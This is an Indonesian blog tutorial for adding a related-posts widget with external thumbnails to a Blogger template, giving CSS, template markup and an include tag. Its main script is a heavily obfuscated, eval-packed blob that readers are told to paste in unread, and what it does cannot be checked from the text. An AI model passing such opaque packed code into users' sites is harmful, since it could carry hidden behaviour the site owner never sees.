Related Post Blogger Support External Host Image

Related Post Blogger Support External Host Image
Dagruel

Dari request seseorang saya buatkan related post blogger yang support dengan external host image jadi langsung saja menuju tutor nya.

Pertama simpan lah css berikut di atas tag </style>.

#relatedPostDagruel {
  margin-bottom: 25px;
  width: 100%;
  background: #fff;
  border-radius: 2px;
  padding-bottom: 0;
}

#relatedPostDagruel h2 {
  border: 0;
  padding: 9px 19px;
  border-bottom: 1px solid #f1f1f1;
  float: none;
  color: #0c70de;
  font-size: 19px;
  font-weight: 500;
  margin: 0;
  margin-bottom: 10px;
}

#relatedPostDagruel .relatedDag {
  display: grid;
  grid-template-columns: repeat(5, 1fr);
  grid-gap: 15px;
  padding: 0 10px 10px;
}

.relatedDag .ruelPost {
  position: relative;
  overflow: hidden;
  transition: all .2s;
  -webkit-transition: all .2s;
  -moz-transition: all .2s;
}

.ply {
  z-index: 1;
  background: rgba(0, 0, 0, .67);
  visibility: hidden;
  opacity: 0;
  transition: visibility 0s, opacity .3s linear;
}

.ruelPost a {
  text-decoration: none;
}

.ruelPost .isThumb {
  padding: 140% 0 0;
  position: relative;
  overflow: hidden;
  background: #f1f1f1;
  line-height: 0;
}

.ply, .ply:before, .ruelPost .isThumb img {
  position: absolute;
  top: 0;
  height: 100%;
  width: 100%;
}

.isThumb img {
  object-fit: cover;
}

.ply:before {
  content: '';
  background-repeat: no-repeat;
  background-position: center;
  background-image: url("data:image/svg+xml,%3Csvg viewBox='0 0 24 24' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M18.68,12.32C16.92,10.56 14.07,10.57 12.32,12.33C10.56,14.09 10.56,16.94 12.32,18.69C13.81,20.17 16.11,20.43 17.89,19.32L21,22.39L22.39,21L19.3,17.89C20.43,16.12 20.17,13.8 18.68,12.32M17.27,17.27C16.29,18.25 14.71,18.24 13.73,17.27C12.76,16.29 12.76,14.71 13.74,13.73C14.71,12.76 16.29,12.76 17.27,13.73C18.24,14.71 18.24,16.29 17.27,17.27M10.9,20.1C10.25,19.44 9.74,18.65 9.42,17.78C6.27,17.25 4,15.76 4,14V17C4,19.21 7.58,21 12,21V21C11.6,20.74 11.23,20.44 10.9,20.1M4,9V12C4,13.68 6.07,15.12 9,15.7C9,15.63 9,15.57 9,15.5C9,14.57 9.2,13.65 9.58,12.81C6.34,12.3 4,10.79 4,9M12,3C7.58,3 4,4.79 4,7C4,9 7,10.68 10.85,11H10.9C12.1,9.74 13.76,9 15.5,9C16.41,9 17.31,9.19 18.14,9.56C19.17,9.09 19.87,8.12 20,7C20,4.79 16.42,3 12,3Z' fill='%23fff'/%3E%3C/svg%3E");
}

.ruelPost:hover .ply {
  visibility: visible;
  opacity: 1;
}

.ruelPost:hover .ply:before {
  opacity: 15;
}

.ruelPost .data {
  height: auto;
  text-align: center;
}

.ruelPost .data .title {
  font-weight: 500;
  font-size: 14px;
  line-height: 21px;
  color: #222d34;
  overflow: hidden;
  text-overflow: ellipsis;
  white-space: nowrap;
  width: 100%;
  padding-top: 3px;
}
Catatan: Di situ kan ada css yang di tandai silahkan ubah sesuikan dengan keinginan kalian masing masing.
padding: 140% 0 0; > padding: 56.6% 0 0; //Gambar Potrait menjadi Landscape
grid-template-columns: repeat(5, 1fr); > grid-template-columns: repeat(4, 1fr); //Dari 5 columns menjadi 4
background-image: blablbla; //Mengatur gambar saat di sorot.

Selanjutnya pemasangan HTML dan Script, tempelkan code berikut di antara tag <b:includable>blablablablabla</b:includable> yang ada di dalam widget Blog1.

  <b:includable id='relatedpostCustom'>
    <script type='text/javascript'>
      //<![CDATA[
      eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('1T T=["\\1g\\d\\m\\p\\o\\f\\e\\j\\1g\\v\\E\\w\\d\\q\\1h\\1D\\D\\D\\c\\b\\1x\\b\\1j\\b\\1q\\D\\H\\1c\\D\\1y\\H\\1A\\D\\1t\\D\\1e\\D\\1l\\D\\1w\\H\\1k\\H\\1J\\b\\1o\\q\\j\\c\\Y\\d\\16\\j\\c\\S\\d\\16\\j\\c\\h\\d\\c\\U\\j\\c\\O\\d\\c\\J\\j\\c\\r\\d\\c\\y\\j\\c\\G\\d\\1f\\j\\W\\p\\c\\o\\f\\1F\\R\\1B\\e\\L\\J\\p\\i\\d\\1F\\b\\c\\V\\f\\q\\x\\q\\e\\j\\B\\f\\J\\p\\k\\d\\E\\j\\k\\x\\i\\b\\y\\j\\k\\u\\u\\e\\L\\V\\f\\i\\v\\k\\w\\b\\1d\\f\\q\\I\\q\\e\\17\\d\\H\\c\\e\\L\\i\\v\\k\\w\\d\\i\\v\\k\\w\\b\\15\\f\\i\\v\\k\\w\\b\\1d\\f\\q\\I\\q\\e\\u\\c\\R\\i\\v\\k\\w\\b\\y\\e\\M\\M\\i\\d\\i\\b\\c\\F\\f\\q\\q\\e\\j\\i\\d\\i\\b\\15\\f\\E\\R\\1B\\H\\c\\e\\j\\S\\p\\i\\M\\J\\p\\N\\d\\m\\p\\o\\f\\e\\j\\J\\p\\F\\d\\E\\j\\J\\p\\U\\d\\m\\p\\o\\f\\e\\j\\J\\p\\A\\d\\m\\p\\o\\f\\e\\j\\W\\p\\c\\n\\f\\1m\\e\\L\\B\\f\\J\\p\\k\\d\\E\\j\\k\\x\\1m\\b\\1G\\b\\z\\b\\y\\j\\k\\u\\u\\e\\L\\J\\p\\z\\d\\1m\\b\\1G\\b\\z\\v\\k\\w\\j\\N\\v\\F\\w\\d\\z\\b\\c\\18\\b\\1E\\g\\j\\c\\s\\L\\A\\v\\F\\w\\d\\z\\b\\c\\13\\b\\c\\k\\M\\c\\A\\f\\c\\z\\e\\L\\i\\d\\z\\b\\c\\1a\\b\\1E\\g\\j\\n\\d\\i\\b\\1d\\f\\q\\x\\c\\1f\\q\\e\\j\\O\\d\\i\\b\\1d\\f\\q\\c\\E\\d\\1r\\q\\q\\R\\n\\e\\j\\K\\d\\i\\b\\1d\\f\\q\\1r\\q\\q\\R\\O\\u\\18\\e\\j\\G\\d\\i\\b\\c\\m\\f\\O\\u\\18\\R\\K\\H\\O\\H\\18\\e\\j\\V\\f\\f\\n\\17\\d\\H\\c\\e\\Z\\Z\\f\\O\\17\\d\\H\\c\\e\\Z\\Z\\f\\K\\17\\d\\H\\c\\e\\Z\\Z\\f\\G\\17\\d\\q\\q\\e\\e\\L\\A\\v\\F\\w\\d\\G\\M\\1u\\p\\A\\v\\F\\w\\d\\C\\1h\\1D\\D\\D\\c\\b\\1x\\b\\1j\\b\\1q\\D\\H\\1c\\D\\1y\\H\\1A\\D\\1t\\D\\1e\\D\\1l\\D\\1w\\H\\1k\\H\\1J\\b\\1o\\C\\M\\V\\f\\N\\v\\F\\w\\b\\y\\I\\11\\e\\N\\v\\F\\w\\d\\N\\v\\F\\w\\b\\15\\f\\E\\R\\11\\e\\u\\q\\b\\b\\b\\q\\j\\B\\f\\J\\p\\1a\\d\\E\\j\\1a\\x\\z\\b\\1b\\b\\y\\j\\1a\\u\\u\\e\\L\\V\\f\\z\\b\\1b\\v\\1a\\w\\b\\c\\i\\d\\d\\C\\c\\B\\C\\e\\L\\U\\v\\F\\w\\d\\z\\b\\1b\\v\\1a\\w\\b\\c\\N\\j\\F\\u\\u\\M\\M\\M\\M\\W\\p\\c\\10\\f\\e\\L\\J\\p\\Y\\d\\m\\p\\o\\f\\E\\e\\j\\J\\p\\10\\d\\m\\p\\o\\f\\E\\e\\j\\J\\p\\X\\d\\m\\p\\o\\f\\E\\e\\j\\B\\f\\J\\p\\k\\d\\E\\j\\k\\x\\U\\b\\y\\j\\k\\u\\u\\e\\L\\V\\f\\17\\c\\Q\\f\\Y\\R\\U\\v\\k\\w\\e\\e\\L\\Y\\b\\y\\u\\d\\c\\j\\Y\\v\\Y\\b\\y\\H\\c\\w\\d\\U\\v\\k\\w\\j\\10\\b\\y\\u\\d\\c\\j\\X\\b\\y\\u\\d\\c\\j\\10\\v\\10\\b\\y\\H\\c\\w\\d\\N\\v\\k\\w\\j\\X\\v\\X\\b\\y\\H\\c\\w\\d\\A\\v\\k\\w\\M\\M\\N\\d\\10\\j\\U\\d\\Y\\j\\A\\d\\X\\M\\W\\p\\c\\Q\\f\\n\\R\\h\\e\\L\\B\\f\\J\\p\\13\\d\\E\\j\\13\\x\\n\\b\\y\\j\\13\\u\\u\\e\\V\\f\\n\\v\\13\\w\\d\\d\\h\\e\\S\\p\\16\\j\\S\\p\\c\\t\\M\\W\\p\\c\\X\\f\\e\\L\\B\\f\\J\\p\\k\\d\\E\\j\\k\\x\\U\\b\\y\\j\\k\\u\\u\\e\\L\\V\\f\\f\\U\\v\\k\\w\\d\\d\\c\\g\\e\\a\\a\\f\\17\\f\\N\\v\\k\\w\\e\\e\\e\\L\\U\\b\\t\\f\\k\\R\\c\\e\\j\\N\\b\\t\\f\\k\\R\\c\\e\\j\\A\\b\\t\\f\\k\\R\\c\\e\\j\\k\\H\\H\\M\\M\\J\\p\\l\\d\\c\\c\\b\\c\\14\\f\\f\\N\\b\\y\\H\\c\\e\\1L\\c\\c\\b\\c\\l\\f\\e\\e\\j\\J\\p\\k\\d\\E\\j\\V\\f\\N\\b\\y\\I\\E\\e\\s\\b\\r\\f\\C\\x\\1C\\I\\C\\u\\c\\16\\u\\C\\x\\D\\1C\\I\\C\\e\\j\\s\\b\\r\\f\\C\\x\\Q\\p\\14\\d\\q\\c\\1m\\q\\D\\I\\C\\e\\j\\c\\15\\f\\k\\x\\N\\b\\y\\Z\\Z\\k\\x\\c\\J\\Z\\Z\\k\\x\\c\\1u\\e\\L\\s\\b\\r\\f\\C\\x\\Q\\p\\14\\d\\q\\c\\W\\q\\I\\x\\n\\C\\e\\j\\V\\f\\k\\17\\d\\E\\e\\s\\b\\r\\f\\C\\C\\e\\j\\1u\\p\\s\\b\\r\\f\\C\\C\\e\\j\\s\\b\\r\\f\\C\\p\\c\\N\\d\\q\\C\\u\\U\\v\\l\\w\\u\\C\\q\\I\\x\\Q\\p\\14\\d\\q\\c\\1b\\q\\I\\x\\Q\\p\\14\\d\\q\\c\\1d\\q\\I\\x\\D\\Q\\I\\x\\c\\1f\\p\\c\\E\\d\\q\\C\\u\\A\\v\\l\\w\\u\\C\\q\\D\\I\\x\\D\\Q\\I\\x\\Q\\p\\14\\d\\q\\c\\K\\q\\I\\x\\Q\\p\\14\\d\\q\\c\\18\\q\\I\\C\\u\\N\\v\\l\\w\\u\\C\\x\\D\\Q\\I\\x\\D\\Q\\I\\x\\D\\n\\I\\x\\D\\Q\\I\\C\\e\\j\\V\\f\\l\\x\\N\\b\\y\\H\\c\\e\\L\\l\\u\\u\\M\\1u\\L\\l\\d\\E\\M\\k\\u\\u\\M\\s\\b\\r\\f\\C\\x\\D\\Q\\I\\C\\e\\j\\U\\b\\t\\f\\E\\R\\U\\b\\y\\e\\j\\A\\b\\t\\f\\E\\R\\A\\b\\y\\e\\j\\N\\b\\t\\f\\E\\R\\N\\b\\y\\e\\M","\\a","\\i\\B\\m\\k\\g","\\a\\a\\m\\h\\s\\A\\g\\z\\a\\Y\\n\\l\\a\\a\\a\\l\\h\\m\\n\\g\\h\\G\\11\\k\\g\\m\\h\\i\\a\\G\\k\\Y\\a\\l\\h\\m\\n\\g\\h\\G\\1x\\l\\m\\i\\a\\k\\F\\a\\a\\a\\a\\a\\a\\l\\h\\m\\n\\g\\h\\G\\11\\k\\g\\m\\h\\i\\1l\\t\\r\\a\\g\\z\\t\\r\\O\\t\\l\\m\\a\\h\\s\\g\\l\\W\\a\\a\\a\\a\\s\\h\\X\\a\\X\\l\\k\\g\\h\\a\\G\\o\\K\\t\\r\\h\\s\\g\\a\\S\\l\\l\\n\\W\\a\\F\\o\\l\\a\\K\\m\\n\\i\\i\\a\\a\\a\\a\\i\\B\\m\\k\\K\\h\\a\\g\\r\\B\\a\\g\\r\\B\\J\\a\\g\\r\\B\\y\\a\\F\\t\\s\\K\\g\\k\\o\\s\\a\\k\\s\\G\\h\\10\\1w\\F\\a\\l\\h\\g\\t\\l\\s\\a\\m\\k\\s\\1a\\a\\i\\t\\O\\i\\g\\l\\k\\s\\A\\a\\g\\l\\t\\h\\a\\h\\m\\i\\h\\a\\13\\i\\o\\s\\a\\k\\r\\A\\l\\a\\z\\g\\g\\B\\i\\a\\S\\S\\S\\S\\S\\S\\S\\S\\1h\\W\\o\\a\\K\\z\\o\\B\\a\\F\\h\\h\\G\\a\\i\\g\\l\\10\\a\\Q\\1k\\S\\l\\1e\\11\\c\\K\\o\\11\\1e\\1f\\s\\Q\\V\\y\\1j\\16\\1B\\N\\m\\1o\\1e\\1b\\10\\B\\15\\z\\1g\\13\\s\\Y\\A\\15\\1c\\K\\1b\\1g\\S\\i\\1o\\1h\\A\\a\\i\\E\\a\\G\\n\\A\\l\\t\\h\\m\\a\\14\\18\\1y\\1l\\F\\1c\\1j\\X\\h\\1k\\1A\\a\\1g\\B\\k\\z\\y\\1C\\V\\l\\1t\\a\\K\\o\\r\\a\\O\\m\\o\\A\\i\\B\\o\\g\\a\\J\\18\\a\\O\\B\\a\\s\\o\\a\\k\\r\\n\\A\\h\\a\\a\\B\\s\\A\\a\\z\\y\\a\\i\\l\\K\\a\\1e\\n\\g\\z\\a\\a\\y\\E\\a\\k\\r\\A\\a\\g\\k\\g\\m\\h\\a\\z\\l\\h\\F\\a\\K\\o\\s\\g\\n\\k\\s\\i\\19\\g\\z\\t\\r\\O\\i\\a\\1f\\E\\E\\a\\i\\B\\m\\k\\g\\a\\l\\h\\m\\n\\g\\h\\G\\19\\l\\h\\i\\t\\m\\g\\i\\19\\m\\n\\O\\h\\m\\i\\19\\g\\z\\t\\r\\O\\i\\a\\i\\t\\r\\r\\n\\l\\W\\11\\k\\g\\m\\h\\a\\G\\n\\g\\n\\a\\s\\t\\r\\B\\o\\i\\g\\i\\y\\a\\i\\t\\r\\r\\n\\l\\W\\1c\\o\\i\\g\\a\\13\\o\\k\\s\\a\\K\\n\\g\\K\\z\\a\\h\\l\\l\\o\\l\\a\\t\\l\\m\\a\\A\\F\\o\\l\\r\\19\\F\\o\\o\\g\\a\\K\\o\\s\\g\\h\\s\\g\\a\\i\\t\\O\\i\\g\\l\\a\\s\\t\\r\\B\\o\\i\\g\\i\\c\\a\\g\\l\\W\\a\\l\\h\\r\\o\\Y\\h\\1h\\g\\r\\m\\11\\n\\A\\a\\n\\m\\g\\h\\l\\s\\n\\g\\h\\a\\F\\m\\o\\o\\l\\a\\l\\n\\s\\G\\o\\r\\a\\l\\h\\m\\a\\K\\t\\l\\l\\h\\s\\g\\B\\o\\i\\g\\t\\l\\m\\a\\F\\n\\m\\i\\h\\a\\i\\z\\o\\X\\1q\\n\\s\\G\\o\\r\\1t\\r\\A\\a\\l\\h\\m\\n\\g\\h\\G\\16\\n\\A\\l\\t\\h\\m\\19\\g\\z\\t\\r\\O\\s\\n\\k\\m\\a\\l\\h\\r\\o\\Y\\h\\1q\\h\\m\\n\\g\\h\\G\\16\\t\\B\\m\\k\\K\\n\\g\\h\\i\\19\\g\\z\\t\\r\\O\\i\\a\\l\\t\\h\\m\\1c\\o\\i\\g\\a\\B\\m\\W\\a\\n\\1b\\o\\m\\G\\a\\k\\i\\11\\z\\t\\r\\O\\a\\X\\z\\k\\m\\h\\a\\l\\h\\m\\n\\g\\h\\G\\B\\o\\i\\g\\i\\g\\k\\g\\m\\h\\a\\r\\n\\10\\l\\h\\i\\t\\m\\g\\i\\a\\l\\h\\m\\n\\g\\h\\G\\16\\n\\A","","\\F\\l\\o\\r\\15\\z\\n\\l\\15\\o\\G\\h","\\l\\h\\B\\m\\n\\K\\h","\\1r\\X\\u","\\1r\\O","\\A"];1U(1s(1p,1v,P,1i,12,1z){12=1s(P){1n(P<1v?T[4]:12(1V(P/1v)))+((P=P%1v)>1S?1I[T[5]](P+1W):P.1O(1N))};1K(!T[4][T[6]](/^/,1I)){1H(P--){1z[12(P)]=1i[P]||12(P)};1i=[1s(12){1n 1z[12]}];12=1s(){1n T[7]};P=1};1H(P--){1K(1i[P]){1p=1p[T[6]](1M 1R(T[8]+12(P)+T[8],T[9]),1i[P])}};1n 1p}(T[0],1P,1Q,T[3][T[2]](T[1]),0,{}))',62,121,'||||||||||x7C|x2E|x31|x3D|x29|x28|x74|x65|x73|x3B|x69|x72|x6C|x61|x6F|x20|x22|x6D|x6E|x75|x2B|x5B|x5D|x3C|x32|x68|x67|x70|x27|x2F|x30|x66|x64|x2D|x3E|x33|x63|x7B|x7D|x36|x62|_0x952dx3|x37|x2C|x41|_0xa49b|x38|x39|x79|x77|x76|x26|x78|x54|_0x952dx5|x6A|x71|x43|x44|x21|x35|x5F|x6B|x42|x50|x7A|x4D|x34|x47|x48|_0x952dx4|x53|x56|x4E|x46|return|x59|_0x952dx1|x52|x5C|function|x49|x45|_0x952dx2|x4F|x55|x58|_0x952dx6|x51|x4A|x5A|x3A|x24|x4C|x4B|while|String|x57|if|x2A|new|36|toString|62|104|RegExp|35|var|eval|parseInt|29'.split('|'),0,{}));
      //]]>
    </script>
    <div id='relatedPostDagruel'>
      <b:loop index='i' values='data:post.labels' var='label'>
        &lt;script src=&#039;/feeds/posts/default/-/<data:label.name/>?alt=json-in-script&amp;callback=related_results_labels_thumbs&amp;max-results=5&#039; type=&#039;text/javascript&#039;&gt;&lt;/script&gt;
      </b:loop>
      &lt;script async=&#039;async&#039; type=&#039;text/javascript&#039;&gt;
      var currentposturl = &quot;<data:post.url/>&quot;;
      var maxresults = 6; //Jumlah Postingan
      var relatedpoststitle = &quot;Judul Related Post&quot;;
      relatedDagruel_thumbnail();
      &lt;/script&gt;
    </div>
  </b:includable>

Satu lagi, tempelkan kode berikut di tempat yang kalian inginkan biasa nya di taro sebelum / sesudah tag <data:post.body/>.

<b:include cond='data:view.isSingleItem' data='post' name='relatedpostCustom'/>

Jika sudah silahkan simpan template dan lihat hasil nya. Sekian dari saya Terima Kasih.

Comments